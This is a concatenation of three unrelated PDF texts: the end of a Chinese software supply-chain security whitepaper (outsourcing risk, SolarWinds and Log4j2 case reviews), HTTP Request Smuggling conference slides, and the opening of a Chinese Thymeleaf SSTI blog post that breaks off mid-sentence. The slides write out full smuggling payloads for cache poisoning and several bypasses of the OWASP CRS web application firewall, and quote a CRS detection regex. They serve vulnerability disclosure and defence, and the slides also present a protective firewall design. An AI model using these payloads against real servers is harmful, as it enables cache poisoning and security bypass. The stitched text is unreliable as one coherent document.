行业金融机构信息科技外包风险监管指引》(银监发 [2013]5 号)、《关于加强银行业金融 机构信息科技非驻场集中式外包风险管理的通知》(银监办发 [2014]187 号)及《中国银监 会办公厅关于开展银行业金融机构信息科技非驻场集中式外包监管评估工作的通知》( 银监 办发 [2014]272 号 ),要求各地各级银行业金融机构遵照执行。 绿盟科技依据监管机构的相关要求,针对银行业金融机构 IT 外包管理现状,从组织架构、 战略建设及风险管理、生命周期管理、集中度风险管理、非驻场外包管理、重点外包服务机 构管理共六个方面为银行提供评估咨询建设服务方案,协助金融机构建立一套外包前、中、 后期的全流程风险管理体系,形成有效外包风险内控机制,同时建立完善外包风险管理持续 改进机制,并促使金融用户满足行业监管合规要求。 外包管理组织架构:包括但不限于外包管理制度与流程;外包管理职责及权限;外包管 理报告路径;外包管理效果评价等。 外包战略建设和风险管理:包括但不限于外包战略制定;外包战略合理性评估;外包风 险管理情况等。 外包服务生命周期管理:包括但不限于外包风险评估及准入;服务商尽职调查;外包服 务合同及要求规范性;外包服务安全管理;外包服务监控与评价;外包服务的安全与应急等。 外包集中度风险管理:外包服务提供商机构集中度风险识别;外包服务提供商机构集中 度风险防范等。 非驻场外包管理:包括但不限于非驻场外包风险管理;非驻场集中式外包风险管理;非 驻场集中式外包监管评估等。 重点外包服务机构管理:包括但不限于重点外包服务机构准入;重点外包服务应急管理; 重点外包服务机构风险管理及审计要求执行等。 其他方面:包括但不限于关联外包管理;内部人员风险管理;监管报送等。 082 行业、企业最佳实践 6.1.1 信息科技外包评估内容 根据《银行业金融机构信息科技外包风险管理指引》、《关于加强银行业金融机构信息 科技非驻场集中式外包风险管理的通知》等相关监管制度,以科技风险为导向,应用行业典 型风险评估方法,对银行信息科技外包,从组织架构、科技外包战略与外包制度体系建设、 外包风险管理、外包风险评估及准入、服务商尽职调查、外包服务合同及要求、安全管理、 外包服务监控与评价、外包集中度管理、非驻场集中式外包风险管理等方面全面、科学、深入、 客观地进行风险分析和评估,明确每一风险点等级,出具外包风险评估报告,并提出相应整 改措施和建议。 6.1.2 实施步骤 1. 实施思路 2. 解读行业规范→➁收集经验材料→➂调研客户现状→➃建立外包评估标准→➄对标改 进完善→➅输出评估报告→➆协助优化整理 3. 实施步骤 任务规划阶段:详细解读行业外包管理的规范要求和银监会监管要求,归纳提取出银行 机构外包业务关键环节的标准要求,详查公司的组织过程资产。 任务实施阶段:进行现场调研,了解银行信息科技部门外包业务的详细现状,包括外包 管理组织架构、外包业务的内容范围、外包业务的各项流程、外包风险的管控措施、外包相 关的监督评价机制、已入围的外包服务商等等,梳理客户外包业务现状;梳理并建立可落地 的信息科技风险外包评估标准。 任务收尾阶段:评估客户根据模板制定的外包管理办法和银监会监管要求情况,从专家 的角度给出修订意见,出具评估报告及解决方案建议。 6.2 交通运输企业供应链安全监督检查实践 6.2.1 项目概述 某交通运输行业单位积极组织落实上级监管单位监管要求,对本单位供应链安全风险进 行了自查,出具了自查报告,并对发现的安全风险进行整改落实。自查分为技术自查和管理 风险自查两部分。 软件供应链安全技术白皮书 083 6.2.2 技术自查 (一)资料收集、梳理 针对识别、收集的关键供应链产品,与各供应商收集梳理此类产品已具有的销售许可证 及近期相关检测报告(第三方安全检测报告、代码审计报告、漏洞扫描报告、渗透测试报告、 等级测评报告)。 (二)环境准备 对关键供应链产品准备技术检测涉及的环境,包括协调供应商准备测试环境,协调测试 时间窗口等。 (三)技术检测 技术检测主要通过代码审计、漏洞扫描、软件安全分析进行验证产品的安全性。具体检 测方式如下: ● 代码审计: 人工源代码审计(由具备丰富的安全编码及应用安全开发经验的人员,根据一定的编码 规范和标准,针对应用程序源代码,从结构、脆弱性以及缺陷等方面进行审查)和工具源代 码审计(SDA 代码审查工具) ● 漏洞扫描: 通过评估工具对某交通运输行业单位供应链产品相关的脆弱性进行安全检查,以发现目 标可能存在的安全隐患,有效发现产品涉及的操作系统和应用软件在用户账号、口令、安全 漏洞、服务配置等方面存在的安全风险、漏洞和威胁,为进一步通过技术手段降低或解决发 现的问题提供了参考依据和方法。 ● 软件安全分析: 对开源组件及软件进行漏洞分析、后门分析,识别存在的漏洞、被植入的后门木马、访 问的风险域名等问题。 (四)自查分析 整体分析上一步骤对供应链产品技术检测数据,形成自查报告。 084 行业、企业最佳实践 6.2.3 管理风险自查 第一阶段:自查启动阶段。此阶段主要确定评估范围、评估方法和评估工作计划安排, 确保某交通运输行业单位供应链管理能力自查活动能够顺利开展。 第二阶段:问卷调查阶段。以电子邮件的方式向供应商发放供应商调查内容清单,收集 供应商基本情况,了解和掌握供应商信息安全管理状况,识别其在开展项目活动重存在的风 险点,同时为后续各阶段的工作提供基础数据与资料。 第三阶段:文档审查阶段。通过对某交通运输行业单位进行文档审查,了解供应链管理 落实情况,对于标准中的要求,是否在制度流程上得以控制,特殊的业务要求是否明确说明 原因等。 第四阶段:业务参与风险梳理阶段。根据供应商参与业务系统工作流程需求,整理出相 应风险点列表,为人员访谈和技术检查做好准备。 第五阶段:人员访谈阶段。在某交通运输行业单位供应链能力自查工作中,自查人员通 过对某交通运输行业单位相关人员进行现场访谈,询问供应商工作中检查点内容是如何实现 的,实现的具体要求及相关制度规定落实情况等。 第六阶段:技术检查阶段。在某交通运输行业单位供应链管理能力自查工作中,针对部 分关键检查点,通过对其进行制度文审、人员访谈外,还需要进行现场检查,确认该检查点 是否与制度规定、人员访谈结果一致。对于现场检查工作,采取漏洞扫描、代码审计、手工 检查、渗透测试、抓包分析等手段,评估自查内容中的控制措施的有效性,做出是否符合自 查要求的最终判断。 第七阶段:分析与报告阶段。根据调研及检查现状,梳理总结风险问题,形成风险问 题清单。综合以上工作,建立风险评估报告。 第八阶段:风险处置阶段。针对自查中存在的安全问题,提出改进意见,制定风险处理建议, 并在后续工作中落实问题整改,跟踪整改情况。 7 典型供应链攻击案例复盘 086 典型供应链攻击案例复盘 7.1 IT 管理供应商 SolarWinds 供应链攻击事件 SolarWinds是一家国际IT管理软件供应商,Orion 是该公司的网络管理系统 (NMS) 产品。 该供应链攻击事件由安全公司 FireEye 发现,并在 2020 年 12 月公布,将幕后的国家级 APT 团伙称为 UNC2452。进一步的调查证实攻击者通过 Orion 软件更新包中植入的后门向下游植 入恶意后门代码。 美国多家全球 500 强企业、重要政府机构都是 SolarWinds 的客户,使得该事件在该国造 成了较大的社会影响。12 月 14 日,华尔街日报发表文章表示,美国财政部和商务部等数个 联邦机构网络系统遭到入侵,政府部门的通信可能已经遭到攻击势力监控。12 月 15 日,路 透社报道,SolarWinds入侵也被用于渗透到美国国土安全部(DHS)的计算机网络。12月16日, 据美国“政客”新闻网报道,美国国家安全事务助理罗伯特 • 奥布莱恩当地时间 15 日缩短了 他的出访行程,返回华盛顿,协调处理“美国政府机构遭遇网络攻击”事件。部分人怀疑白 宫也受到了本次攻击的影响。SolarWinds 事件的高影响度,除了受攻击影响的目标重要性高, 还因为它攻陷了由众多安全企业与国家安全部门共同构建的安全防线,令整个安全体系的安 全性与可靠性遭到了怀疑,足以撼动其根基。 7.1.1 攻击流程分析 表 7.1 SolarWinds 事件供应链攻击技术与脆弱性 生命周期 安全风险发生阶段 攻击技术 上游安全 上游企业安全问题 外部攻击 关键数据泄露 开发安全 开发环境安全 开发环境污染 CI/CD 集成环境污染 托管平台代码、存储平台污染 开发过程安全 遭受外部攻击 恶意代码植入 攻击者利用漏洞、密码爆破或社会工程学攻击的手段,获取了 SolarWinds 研发环境的控 制权限。长时间的潜伏与刺探之后,在 Orion 平台软件的核心服务组件代码中植入了恶意后门, 以在线升级包的形式被下游用户静默安装。包含恶意代码的升级程序利用来自厂商的合法数 字证书绕过验证,在两周的潜伏阶段结束后通过隐蔽的自定义 DNS 通讯,实现隐蔽的命令控 制与数据回传。攻击者对于产品代码与工作流程都十分熟悉,在后门代码中甚至调用了产品 中的合法组件,侧面显示了攻击者对 SolarWinds 研发环境长时间的实际控制。 软件供应链安全技术白皮书 087 图 7.1 SolarWinds 事件攻击流程图 7.1.2 问题分析 此次攻击事件是一起典型的软件供应链安全事件,攻击者利用了用户对上游企业的信任 关系(ATT&CK T1199),通过在恶意植入上游企业的产品及利用上游企业的数字签名,绕 过了安全防御机制,造成大量下游企业及用户遭受攻击的严重影响。 实际上,通过攻破上游企业获取目标源代码,或在其中植入恶意代码等的攻击行为早有 发生。近年来随着越来越多的企业将基础设施迁移至云端,供应链安全威胁出现了从本地到 云端蔓延的趋势。当本地 ADFS 服务器中的凭据被窃取,攻击者可通过签名伪造的 SAML 令牌, 伪造任意用户以任意权限访问企业的云端资产(包括 Azure、Vsphere)。这种攻击技术被称 为 Golden SAML,在本次事件中首次披露在野利用 [33]。这些云端资产的沦陷扩大了本次供 应链攻击事件的影响范围,对代码、数据等重要资产的修改权限为下一轮供应链攻击创造 了条件。 [33] https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html 088 典型供应链攻击案例复盘 7.1.3 应对措施 7.1.3.1 上游厂商应加强研发过程安全及软件成分监控管理 供应商有责任做好产品的安全管控、关键信息(如密钥、账号)的保护,建立完善的漏 洞和安全事件的披露溯源机制。 对于供应商,假设在代码被感染,打包分发路径中引入 SBOM 自动生成机制,每次更新 时都生成该软件最新构建的 SBOM(类比于 github 的版本控制,将 SBOM 看作另一种版本控 制机制,自动化、强制性地指出每一处改动),可以辅助排查恶意代码。在构建环节结束后, 将 SBOM 与上一版本软件的 SBOM 比对,进行二次筛查,检查是否有计划外的异常改动(比 如计划中没有用到的软件包、第三方库,或者计划外文件内容出现更改等等),如果有异常 改动,立刻对源码重新筛查;如果没有计划外文件的改动,则在测试环节重点对新增 / 改动 的文件进行安全测试(IAST、SAST、SCA 等),筛查其异常行为。通过这些有效措施,代 码 / 软件植入的风险能够得到一定的控制。 7.1.3.2 通过传递软件成分清单应对上游风险 应对供应链安全,下游企业和最终用户不应将自身安全寄托在供应商负责程度上,应 当以零信任的态度谨慎供应商提供的产品,建立好企业资产管理和供应链产品物料清单管 理,结合应急预案,争取在安全风险曝光的第一时间排查影响,压缩攻击入侵时间窗口, 降低影响。 7.2 开源软件安全风险 Log4j2 漏洞事件 7.2.1 事件背景及影响 Apache Log4j2 是一个开源基础日志库,作为 Log4j 组件的升级版本广泛应用于软件项目 的开发、测试和生产,在 Maven Repository 中被接近 7000 个项目引用。Log4j2 具有 “Property Support”特性,该特性在打印日志时支持从配置文件、系统变量、环境变量、线程 Context 以及事件中存在的数据中引用所需的变量到日志中。而在支持该特性的 org.apache.logging. log4j.core.lookup 包中提供了一系列的插件,允许用户从自定义渠道获取属性。而问题就在 于包中的 JndiLookup 插件允许用户通过 JNDI 进行变量的检索,但是未对查询地址做好过滤, 导致产生 JNDI 注入漏洞,从而造成代码执行、命令执行等风险。 对于开源组件,自身漏洞对整个软件供应链的影响最为直接、隐秘且长久。Log4j2 作为 一个堪比标准库的基础日志库,受众极其广泛,也就导致漏洞的影响范围极大,再加上此次 软件供应链安全技术白皮书 089 曝出的漏洞利用难度低(默认配置即可利用),在曝光伊始就吸引了整个行业的注意。 7.2.2 攻击流程分析 表 7.2 Log4j2 事件供应链攻击技术与脆弱性 生命周期 安全风险发生阶段 攻击技术 开源安全 开源代码安全 直接或间接包含的漏洞、缺陷代码 开源组件、框架稳健性 活跃度、维护能力、安全修复能力与应对意识 开发安全 开发环境安全 开发工具污染 开发环境污染 托管平台、代码存储平台污染 开发过程安全 使用开源组件引入漏洞风险 编译构建安全 包管理工具安全 Log4j2 漏洞(CVE-2021-44228/CVE-2021-45046)目前常见攻击形式有勒索、挖矿、僵 尸网络(以及 DDOS)。现有的在野攻击案例通常攻击链短、攻击手段粗暴直接,但考虑到 漏洞曝出时日尚短,不排除以该漏洞为切入点的大型供应链攻击出现的可能。 图 7.2 Log4j2 事件潜在攻击流程图 7.2.3 问题分析 Log4j2 漏洞是来自于开源组件的软件供应链威胁。与其他案例相比,Log4j2 漏洞相关攻 击事件的目标分布广泛且攻击链极短,究其原因在于该组件极广的应用范围与较低的漏洞利 用难度。 企业开源安全管控,既应涵盖直接依赖组件的漏洞,也应关注间接依赖组件漏洞。直接 依赖主要发生于组件的集成构建阶段,Log4j2 作为基础组件集成到一些核心业务组件中,核 心业务进而被感染,增加了攻击面。此阶段的依赖关系相对清晰,一旦发现漏洞,相对来说 090 典型供应链攻击案例复盘 容易排查。 而间接依赖的组件的情况则更为复杂,随着软件系统架构愈加庞大,组件之间依赖关系 也更难理清,因而漏洞曝出时系统自身的复杂性就会掩盖影响,导致来自间接依赖的攻击面 被忽略。此阶段往往需要进行大规模的分析排查,以抽丝剥茧的态度将各种依赖关系理清。 站在攻击、防御的角度也同样如此,通过 hook、fuzz 等方式测试组件的调用深度,定位被隐 藏的触发点。 由于次级供应商在单个上下游环节中可以视为消费者,在组件依赖关系不明确的情况下 只能将复杂系统看作黑盒,对其包含的组件风险一无所知,因而在处理漏洞时更为被动。此 时只能靠有责任心的软件提供商提供运维支持服务。若软件提供商响应不及时或漏洞应急流 程不完善,只能依靠社区建议及旁路的安全设备来进行临时缓解。 7.2.4 利用开源软件成分清单识别间接组件漏洞 Log4j2 漏洞之所以影响严重,是因为它在许多项目中以基础设施的身份存在。随着项目 结构体积逐渐庞大,引入组件的来源增多,项目结构、依赖关系也越加复杂,也就越难发现 隐藏较深的间接组件。相比针对开源机制的攻击手段,比如开发工具污染、依赖混淆等, 依靠企业现有技术手段很难规避这类间接组件漏洞风险,重点应放在应急响应上。在漏洞 曝出的第一时间,基于开源软件成分清单识别间接组件漏洞,对于快速研判影响、制定决 策至关重要。 企业应建立开源组件安全评估与风险响应能力,在代码构建时,通过 SCA 工具对项目的 第三方组件依赖进行漏洞分析,规避已知的漏洞风险;同时应留存更新的软件成分清单,当 出现安全事件时只需花少量时间、算力,就可以定位漏洞(问题组件)所在,加快排查速度, 辅助决策,减少损失。 监管层面,应建立开源组件安全监测管理,涵盖四个方面:外防输入、存量治理、内 控扩散、持续监测。外防输入即摒除带有漏洞的软件版本,严格控制外部引入风险;存量 治理,即制定差异化的策略,分批有序开展治理;内控扩散,建立组件的灰白黑名单机制, 按需管控;持续监测即持续监测漏洞情报,做好应急流程。概括起来就是要做到严格管理 软件风险、因地制宜制定策略、居安思危防范于未然这三点。在 Log4j2 事件中,考虑到该 组件的基础地位,以及应用范围之广,本应重视其安全监测管理,可惜业界没有保有足够 的警惕,既没有制定合适的治理策略,也未安排好应急流程,拖慢了应急响应的步伐,只 得自行承担后果。 8 软件供应链安全总结与展望 092 软件供应链安全总结与展望 美国引领了信息化时代的发展,长期主导全球信息技术发展方向,其软件供需模式与供 应链管理发展动向对全球软件产业发展具有重要影响。目前,美国正在政府和私营部门合作 伙伴之间建立完善软件供应链安全方法论和最佳实践。这将对我国软件产业发展有着巨大的 参考价值,结合此次西方阵营针对俄罗斯发动的大规模“断供”,其行为也为我国提供了充 足的研究案例,对建立健全我国软件供应链安全治理体系具有重要的参考意义。 软件供应链安全技术白皮书 093 附表 : 软件供应链安全风险表 软件供应链安全生命周期 安全风险发生阶段 攻击技术 上游安全 上游企业安全问题 内部漏洞 外部攻击 关键数据泄露(如证书) 软件供应链中断 SaaS、PaaS 等服务中断 软件更新、维护服务中断 开源安全 开源代码安全 直接或间接包含的漏洞、缺陷代码,恶意代码注入,等 开源使用安全 恶意抢注攻击等 开源项目维护稳健性 活跃度、维护能力、安全修复能力与应对意识 知识产权 许可证授权风险 开发安全 开发环境安全 开发工具污染 开发环境污染 CI/CD 集成环境污染 托管平台、代码存储平台污染 开发过程安全 内部漏洞、缺陷 编码过程不符合规范 遭受外部攻击 使用开源组件引入风险 恶意代码植入 编译构建安全 依赖库路径抢注 编译工具植入后门 包管理工具安全 交付使用安全 下载过程安全 升级、更新劫持 捆绑下载 交付范围扩大 代码、编译信息泄漏 证书、私钥泄漏 使用安全 依赖网络基础设施安全 依赖云平台安全 094 参与单位 天元实验室 专注于新型实战化攻防对抗技术研究。 研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术, 以及攻击技战术、攻击框架的研究。涵盖 Web 安全、终端安全、AD 安全、云安全等多个技 术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻 击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。 天枢实验室 天枢实验室立足数据智能安全前沿研究,一方面运用大数据与人工智能技术提升攻击检 测和防护能力,另一方面致力于解决大数据和人工智能发展过程中的安全问题,提升以攻防 实战为核心的智能安全能力。
pdf
HTTP Request Smuggling in 2020 Amit Klein Safebreach Labs About Me • 29 years in InfoSec • VP Security Research Safebreach (2015-Present) • 30+ Papers, dozens of advisories against high profile products • Presented in BlackHat (3 times), DefCon (twice), Usenix, NDSS, HITB, InfoCom, DSN, RSA, CertConf, Bluehat, OWASP Global (keynote), OWASP EU, AusCERT (keynote) and more • http://www.securitygalore.com Introduction What is HTTP Request Smuggling? • 3 Actors • Attacker (client) • Proxy/firewall • Web server (or another proxy/firewall) • Attack • Attacker connects (80/tcp) to the proxy, sends ABC • Proxy interprets as AB, C, forwards to the web server • Web server interprets as A, BC, responds with r(A), r(BC) • Proxy caches r(A) for AB, r(BC) for C. • AKA “HTTP desync Attack” Different interpretations of the TCP stream POST /hello.php HTTP/1.1 ... Content-Length: 0 Content-Length: 44 GET /poison.html HTTP/1.1 Host: www.example.com Something: GET /target.html HTTP/1.1 Different interpretations of the TCP stream POST /hello.php HTTP/1.1 ... Content-Length: 0 Content-Length: 44 GET /poison.html HTTP/1.1 Host: www.example.com Something: GET /target.html HTTP/1.1 Caching Proxy (last CL) 1. /hello.php (44 bytes in body) 2. /target.html Different interpretations of the TCP stream POST /hello.php HTTP/1.1 ... Content-Length: 0 Content-Length: 44 GET /poison.html HTTP/1.1 Host: www.example.com Something: GET /target.html HTTP/1.1 Web Server (first CL) 1. /hello.php (0 bytes in body) 2. /poison.html (+headers) Different interpretations of the TCP stream POST /hello.php HTTP/1.1 ... Content-Length: 0 Content-Length: 44 GET /poison.html HTTP/1.1 Host: www.example.com Something: GET /target.html HTTP/1.1 Caching Proxy (last CL) 1. /hello.php (44 bytes in body) 2. /target.html Web Server (first CL) 1. /hello.php (0 bytes in body) 2. /poison.html (+headers) A Short History • 2005 – the seminal paper “HTTP Request Smuggling” is published • 2005-2006 – some short research pieces • Can HTTP Request Smuggling be Blocked by Web Application Firewalls? • Technical Note: Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level • HTTP Response Smuggling • 2007-2015 – crickets… • 2015-2016 – Regis “Regilero” Leroy: “Hiding Wookies in HTTP” (DefCon 24) • 2019 – James Kettle: “HTTP Desync Attacks” (BlackHat US 2019, BlackHat EU 2019) Is HTTP Request Smuggling Still a Thing? • This is 2020, the basic attacks are known since 2005. • Back to the limelight in recent years (thanks to James Kettle and Regis “Regilero” Leroy) • Are “mainstream” web/proxy servers vulnerable? • Scope: IIS, Apache, nginx, node.js, Abyss, Tomcat, Varnish, lighttpd, Squid, Caddy, Traefik, HAproxy • You’d expect they’re all immune by now… Part 1 New Variants Variant 1: “Header SP/CR junk” • Example: Content-Length abcde: 20 • Squid: ignores this header (probably treats “Content-Length abcde” as the header name. • Abyss X1 (web server, proxy): converts “Header SP/CR junk” into “Header” • Cache poisoning attack (Squid cache/proxy in front of Abyss): POST /hello.php HTTP/1.1 Host: www.example.com Connection: Keep-Alive Content-Length: 41 Content-Length abcde: 3 barGET /poison.html HTTP/1.1 Something: GET /welcome.html HTTP/1.1 Host: www.example.com Variant 2: “Wait for it” • Variant 1 relies on Abyss’s use of the last Content-Length header. • What if we don’t want to present Abyss with two Content-Length headers? • Partial request (incomplete body): Abyss waits for 30 seconds, then invokes the backend script. It discards the remaining body and proceeds to the next request. • Cache poisoning attack (Squid cache/proxy in front of Abyss): POST /hello.php HTTP/1.1 Host: www.example.com Connection: Keep-Alive Content-Length abcde: 39 GET /welcome.html HTTP/1.1 Something: GET /poison.html HTTP/1.1 Host: www.example.com Variant 3 – HTTP/1.2 to bypass CRS • mod_security + CRS = free, open source WAF. • Rudimentary direct protection against HTTP Request Smuggling • Default paranoia level = 1. • Our bypass works for paranoia level ≤ 2. • Better defense (with lots of false positives) in paranoia level 3/4. • However, HTTP Request Smuggling payloads can get blocked as HTTP Response Splitting attacks… • Variant 1 with SP (payload) is blocked by two rules: 921130 and 921150 • 921130 – look for (?:\bhttp\/(?:0\.9|1\.[01])|<(?:html|meta)\b) in the body. • 921150 – look for CR/LF in argument names (HTTP Response Splitting…) • Work around 921150 is trivial: … xy=barGET /poison.html HTTP/1.1 Something: GET /welcome.html HTTP/1.1 Host: www.example.com Variant 3 (contd.) • Work around 921130 – use HTTP/1.2 • IIS, Apache, nginx, node.js and Abyss respect HTTP/1.2. They treat HTTP/1.2 as HTTP/1.1. • Squid, HAProxy, Caddy and Traefik respect HTTP/1.2 requests and convert them to HTTP/1.1. • Still a problem – rule 932150 is triggered… (Unix direct command execution), but this can be worked around too: POST /hello.php HTTP/1.1 … Content-Length: 65 Content-Length abcde: 3 barGET http://www.example.com/poison.html?= HTTP/1.2 Something: GET /welcome.html HTTP/1.1 … Variant 4 – A Plain Solution • CRS paranoia level ≤ 2 simply doesn’t check the body of requests with Content- Type text/plain POST /hello.php HTTP/1.1 Host: www.example.com User-Agent: foo Accept: */* Connection: Keep-Alive Content-Type: text/plain Content-Length: 41 Content-Length Kuku: 3 barGET /poison.html HTTP/1.1 Something: GET /welcome.html HTTP/1.1 Host: www.example.com User-Agent: foo Accept: */* Variant 5 – “CR Header” • First successful report? • Listed in Burp’s HTTP Request Smuggling module as “0dwrap” • Never seen a report claiming it worked • Squid ignores this header (forwards it as-is). • Abyss respects this header. • Example (Squid in front of Abyss, using “wait for it”): POST /hello.php HTTP/1.1 Host: www.example.com Connection: Keep-Alive [CR]Content-Length: 39 GET /welcome.html HTTP/1.1 Something: GET /poison.html HTTP/1.1 Host: www.example.com Overriding existing cache items • Use Cache-Control: no-cache (or variants) in the request for the target page • The header may be moved around • For example, Squid pushes it to the bottom of the request Demo Smuggling demo script: https://github.com/SafeBreach-Labs/HRS Status • Variant 1: reported to Squid, Abyss (fixed in v2.14) • Variant 2: reported to Abyss (fixed in v2.14) • Variant 3: reported to OWASP CRS. Fixed in CRS 3.3.0-RC2 (pull 1770) • Variant 4: reported to OWASP CRS. Fixed in CRS 3.3.0-RC2 (pull 1771) • Variant 5: reported to Squid, Abyss (fixed in v2.14) [UPDATE July 17th, 2020] For Variants 1 and 5, Squid Team assigned CVE-2020-15810 to these issues and suggested the following (configuration) workaround: relaxed_header_parser=off A fix is expected on August 3rd (Squid security advisory SQUID-2020:10) Part 2 New Defenses Flawed Approach #1 Normalization of outbound HTTP headers (for proxy servers) • Good for HTTP devices behind the proxy • Not effective at all for attacks happening between the proxy and devices in front of it. • You are P2 in the sequence: Client → P1 → P2 → WS • P1 uses (say) the first CL, P2 uses the last CL. • HTTP Request Smuggling can happen between P1 and P2. • Blame game? • Think of P2 → WS as an abstraction for a web server WS’: Client → P1 → WS’ • WS’ accepts multiple CL headers, uses the last one. • Is WS’ vulnerable to HTTP Request Smuggling? • If you answered “Yes”, then P2 is vulnerable to HTTP Request Smuggling. Flawed Approach #2 One (new) TCP connection per outbound request (proxy servers) • Good for HTTP devices behind the proxy • Not effective at all for attacks happening between the proxy and devices in front of it. • Same as previous slide. mod_security + CRS? • Pros: • True WAF • Free • open source • Cons • Only supports IIS, Apache, nginx • Rudimentary defense (only) against HTTP Request Smuggling Not good enough (for my use case)  A different concept • Lightweight, simple and easy – not a WAF • Focus on specific (protocol) attacks – HTTP Request Smuggling • Secure • PoC doesn’t need to be production quality – it just shows that this can be applied (e.g. by vendors). A More Robust Approach Very strict validation of a small subset of the HTTP “standards”: • Anything that affects the request length: • Headers: Content-Length, Transfer-Encoding • Unambiguous line ends, header end • Request line • Unambiguous verb name (GET, OPTIONS, HEAD, DELETE expect no body) • Unambiguous protocol designation (HTTP/1.0 or HTTP/1.1) • ToDo: more headers? (Connection, Host, etc.) Design goals • Generic – don’t tie to a specific technology/product/platform • No dependency on platform-specific technologies e.g. Windows LSP/WFP • Nice to have: extensibility (beyond HTTP) • HTTPS? (TLS) • Other protocols? • Secure • In-path monitoring (not sniffing based) Solution: good old function hooking (for sockets, etc.) Function Hooking • “Supported” by major operating systems (Windows, Linux) • There are even cross platform function hooking libraries – e.g. FuncHook (https://github.com/kubo/funchook) • Stability and robustness may be an issue – but this is a tech demo • Still need to inject code in the first place: • Windows – e.g. using standard DLL injection • Linux – e.g. LD_PRELOAD • So again: stability, etc. Socket Abstraction Layer (SAL) • Abstracts a native socket into standard open-read-close view • Cradle-to-death monitoring of native sockets • No buffering • Maintain a map sockfd → user object • Signaling: • CTOR – socket open • onRead – socket read • DTOR – socket close • sockfd – allows user object to e.g. send data on the socket • Return value – forcibly close socket SAL – What to Hook? (Windows) Server Bitness WSAAccept AcceptEx WSARecv closesocket GetQueued Completion Status/Ex Get Overlapped Result Apache 64 Yes Yes Yes Yes Yes nginx 64 Yes Yes Yes node.js 64 Yes Yes Yes Yes Abyss 64 Yes Yes Yes Yes Tomcat 32 Yes Yes Yes lighttpd 32 Yes Yes Yes SAL – What to Hook (Linux 64bit) Server accept accept4 uv__accept4 (libuv) recv read shutdown close Apache Yes Yes Yes (Yes) nginx Yes Yes Yes (Yes) node.js Yes Yes Yes (Yes) Abyss Yes Yes Yes Tomcat Yes Yes Yes (Yes) lighttpd Yes (Yes) Yes Yes (Yes) Squid Yes Yes Yes HAproxy Yes Yes Yes Challenges and Lessons Learned • Worker processes/forking • Locking (socket management table) • Preserve the correct error state (errno, LastError, WSALastError) • stdout/stderr not always available • Squid (Linux) doesn’t like fclose() • Statically linked executables with stripped symbols (compiled go) • Linux recv() implementation actually invokes recvfrom syscall • accept()/accept4() invoked with addr=NULL • uvlib (Node.js) – uv__accept4() needs to be hooked Request Smuggling Firewall (RSFW) • Enforce strict RFC 2616 on “relevant” parts of HTTP requests • Request line format • Header name format • Content-Length, Transfer-Encoding – also value format • Header end-of-line • Chunked body format • Default deny policy • Single line internal accumulation (data is forwarded to app in real time) • Violation handling: • Can send a 400 response • Connection termination Demo Library: https://github.com/SafeBreach-Labs/RSFW Part 3 New Research Challenges New Research Challenges • Promising/suspicious anomalies in an HTTP device • I can describe a “matching” behavior that leads to HTTP Request Smuggling • No “matching” behavior found (so far) • Naïve example (2005…): • I notice a web server which takes the first header in a double CL • A matching behavior: a proxy which takes the last CL header (but keep both headers) • But in my lab, I can only find proxy servers that either take the first header, or reject the request CR in a header name is a hyphen • Content\rLength– treated by one web server as “Content-Length”. • Why? I suspect a quick-and-dirty “uppercasing”, using OR with 0x20: (‘\r’ | 0x20) == ‘-’ • Sought matching proxy behavior: ignore (forward as-is) • Attack: the web server expects a body (but using a GET request, the web server will immediately forward the request to the application without a body!, and will later discard the body data sent by the proxy) • But: All proxy servers I have either reject (400) or modify. “Signed” Content-Length • Content-Length: +1234 • Non-RFC • Some proxy implementations use API a-la atoi() which accepts a sign • Sought matching web server behavior: ignore • Attack: obvious (the web server has de-facto CL=0) • NOTE: doesn’t work if the proxy normalizes the CL header. • But: All web servers I have either reject (400) or honor. • Vendor status: fixed by Squid (CVE-2020-15049), Abyss, Go. Content-Length value with SP • Content-Length: 12 34 • Non RFC • Nginx (as a web server) ignores the header • Sought behavior: a proxy that uses the value (as 1234/12/34) and forwards the header as-is • Attack: obvious (nginx sees de-facto CL=0) • But: all proxy servers I have either reject (400) or remove the header • Reported to nginx. WONTFIX (“this doesn't look like a vulnerability in nginx, as the request in question cannot be passed through a complaint HTTP proxy with the header intepreted as a Content-Length header”) Chunky Monkey Business • One web server simply ignores Transfer-Encoding (i.e. doesn’t support chunking) • Non RFC • Sought behavior: a proxy server that prefers TE over CL (but does not modify) • Attack: TE+CL. • But: all proxy servers I have normalize the request (either per CL or per TE) Conclusions Take-Aways • HTTP Request Smuggling is still a thing (in 2020, in COTS SW) • Existing open source solutions are lacking • There is a more robust approach for defending against HTTP Request Smuggling, and it is feasible • There are still some interesting challenges in this area! Thank You!
pdf
前段时间补上了迟迟没有写的 ⽂件包含漏洞原理与实际案例介绍⼀⽂,在其中就提到了 Thymeleaf SSTI 漏洞,昨天在赛博群⾥三梦师傅扔了⼀个随⼿挖的 CVE——Thymeleaf SSTI Bypass,想着之前项⽬的代码还没清理,⼀起分析来看看 Thymeleaf 是与 java 配合使⽤的⼀款服务端模板引擎,也是 Spring 官⽅⽀持的⼀款服务端模板 引擎。⽽ SSTI 最初是由 James Kettle 提出研究,后来 Emilio Pinna 对他的研究进⾏了补充,然 ⽽,这些作者都没有对 Thymeleaf 进⾏ SSTI 漏洞挖掘,因此后来 Aleksei Tiurin 在 ACUNETIX 的官⽅博客上发表了关于 Thymeleaf SSTI 的⽂章。 为了更⽅便读者理解这个 Bypass,因此在这⾥赘述⼀遍⼀些基础性的内容,了解的可以直接跳到 0x03 的内容。 Thymeleaf 表达式可以有以下类型: ${...} :变量表达式 —— 通常在实际应⽤,⼀般是OGNL表达式或者是 Spring EL,如果 集成了Spring的话,可以在上下⽂变量(context variables )中执⾏ *{...} : 选择表达式 —— 类似于变量表达式,区别在于选择表达式是在当前选择的对象⽽ 不是整个上下⽂变量映射上执⾏。 #{...} : Message (i18n) 表达式 —— 允许从外部源(⽐如 .properties ⽂件)检索特定 于语⾔环境的消息 @{...} : 链接 (URL) 表达式 —— ⼀般⽤在应⽤程序中设置正确的 URL/路径(URL重 写)。 ~{...} :⽚段表达式 —— Thymeleaf 3.x 版本新增的内容,分段段表达式是⼀种表示标 记⽚段并将其移动到模板周围的简单⽅法。 正是由于这些表达式,⽚段可以被复制,或者作 